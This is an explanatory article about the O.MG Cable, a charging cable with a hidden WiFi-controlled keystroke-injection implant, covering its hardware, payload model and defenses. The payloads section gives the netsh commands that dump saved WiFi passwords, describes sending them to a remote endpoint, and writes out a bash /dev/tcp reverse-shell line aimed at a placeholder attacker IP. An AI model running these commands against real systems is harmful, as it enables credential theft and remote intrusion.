O.MG Cable: The Charging Cable That Owns Your Machine

The O.MG Cable looks exactly like a USB-C or Lightning cable. It charges your phone. It syncs your files. It passes data correctly in both directions. The charging speed is normal. The connector dimensions are correct. Nothing about it is physically distinguishable from the cable that came in the box.

Inside the connector housing, embedded in the space between the outer shell and the wire terminations, is a complete WiFi-enabled microcontroller: an ESP8266-class chip with a 2.4 GHz radio, running a web server that accepts DuckyScript payloads from anyone connected to its built-in access point. When the operator triggers execution, the cable presents itself to the host computer as a USB HID keyboard and types the payload at speeds exceeding 1,000 keystrokes per minute.

The cable was created by a security researcher known as MG and is now sold commercially by Hak5. It is a legitimate security testing tool. It is also exactly what you think it is.

//The Hardware

The O.MG Cable Elite - the current production version - is available in USB-A to USB-C, USB-C to USB-C, USB-A to Lightning, and USB-C to Lightning configurations. The implant electronics fit inside the connector housing on the host side of the cable. The cable's wiring is fully functional: data, power, and signal lines all pass through correctly.

The embedded processor creates a WiFi access point visible as a network like OMG_XXXXXX, where the X characters are derived from the device's MAC address. The operator connects to this network and opens a browser interface at 192.168.4.1. From this interface they can write, save, and trigger DuckyScript payloads. They can also configure the cable to beacon back to a remote C2 server rather than creating its own access point, making remote operation over the internet possible.

Why the Form Factor Matters

USB Rubber Ducky attacks require the attacker to plug in a device that looks like a USB flash drive. This is detectable: most people notice when a flash drive appears in their system. It also requires either physical access during the attack window or pre-positioning a device that must be retrieved.

The O.MG Cable changes the threat model. A cable left in a target environment is not remarkable. Cables are borrowed, forgotten, left at desks. Hospitality cables are routinely left in hotel rooms and conference tables. Someone offers you a charge from "their cable" - you plug in.

The WiFi exfiltration capability also means the attacker does not need to be present during the attack. The cable sits dormant on a charging pad. At a time of the attacker's choosing - remotely, days later - execution is triggered.

//DuckyScript and the Payload Model

O.MG Cable uses DuckyScript, the same scripting language as the USB Rubber Ducky. DuckyScript encodes a sequence of keystrokes, delays, and modifier key combinations. The execution model is simple: the device types exactly what the script says, as fast as the OS can accept it.

On Windows, a typical payload opens a Run dialog (Win+R), launches a hidden PowerShell window, and executes a command that either runs inline code or downloads and executes a second-stage payload from a remote URL. The entire sequence - from Run dialog to PowerShell executing - takes under three seconds.

On macOS, the approach is similar: open Terminal via Spotlight (Cmd+Space, type terminal, enter), then execute a bash command. On Linux, the shortcut for a terminal emulator depends on the desktop environment, but Ctrl+Alt+T works on most GNOME-based systems.

Speed and Human Perception

The O.MG Cable injects keystrokes at approximately 1,000 characters per second. At this speed, a 500-character payload - which is substantial - executes in half a second. A human cannot perceive individual keystrokes at this speed; they see a brief flash of activity in whatever is focused on screen, and then nothing.

This speed creates a detection challenge. If the target happens to be watching their screen at the moment of injection, they may see something briefly flash. If the terminal window that opened is immediately hidden (as most payloads ensure), they may see nothing at all.

//Common Payloads

WiFi Password Dump

On Windows, netsh wlan show profiles lists all saved WiFi networks. netsh wlan show profile [SSID] key=clear prints the plaintext passphrase for each. A few lines of PowerShell combine these commands, iterate over all profiles, and POST the results to a remote endpoint. The entire operation takes under three seconds and requires no elevated privileges.

Reverse Shell

A reverse shell payload opens a persistent command channel back to the attacker. On Linux/macOS, the classic is bash -i >& /dev/tcp/[attacker-ip]/[port] 0>&1. On Windows, PowerShell provides System.Net.Sockets.TCPClient for the same purpose. Once the shell connects back, the attacker has interactive command execution on the target system.

Persistence

A persistence payload writes a startup item that survives reboot. On Windows, this can be a registry Run key, a scheduled task, or a file in the Startup folder. The O.MG Cable drops a script, sets up persistence, and leaves. Even if the cable is removed, the persistence mechanism remains active.

//Defenses

The fundamental defense against HID injection attacks is USB device policy control. On enterprise systems, endpoint management platforms (JAMF, Intune, group policy) can restrict USB devices to an approved list by device type or device ID. Blocking HID devices from non-approved sources - or requiring explicit enrollment - prevents keystroke injection from working.

In practice, most environments do not have this control in place. Blocking all unknown HID devices is operationally disruptive because it prevents employees from using their own keyboards and mice. The more practical control is policy: do not charge devices using cables you did not bring yourself, and treat charging cables in shared spaces as potentially compromised.

USB data blockers - small passthrough adapters that allow power but block the data lines - prevent O.MG Cable attacks on charging use cases. If you're charging from an unknown source (public USB charging station, a stranger's cable, a conference table), a data blocker ensures the cable sees only a charging relationship with no HID negotiation possible.

//The Commercial Reality

The O.MG Cable sells for approximately $180-200 USD. It is marketed as a security testing tool and sold with a policy requiring purchasers to have authorization for the systems they test. Hak5, the distributor, is a legitimate security training and equipment company.

The fact that it exists commercially, at this price point, with full documentation and customer support, is worth noting. The capability - a fully functional charging cable with a WiFi-controlled HID implant - would have been a nation-state intelligence asset a decade ago. It is now an item sold openly with shipping to most countries.

Security threats have a consistent pattern of democratization: capabilities that once required specialized expertise and expensive custom hardware become cheaper and more accessible over time. The O.MG Cable is a data point in that trend, not an anomaly.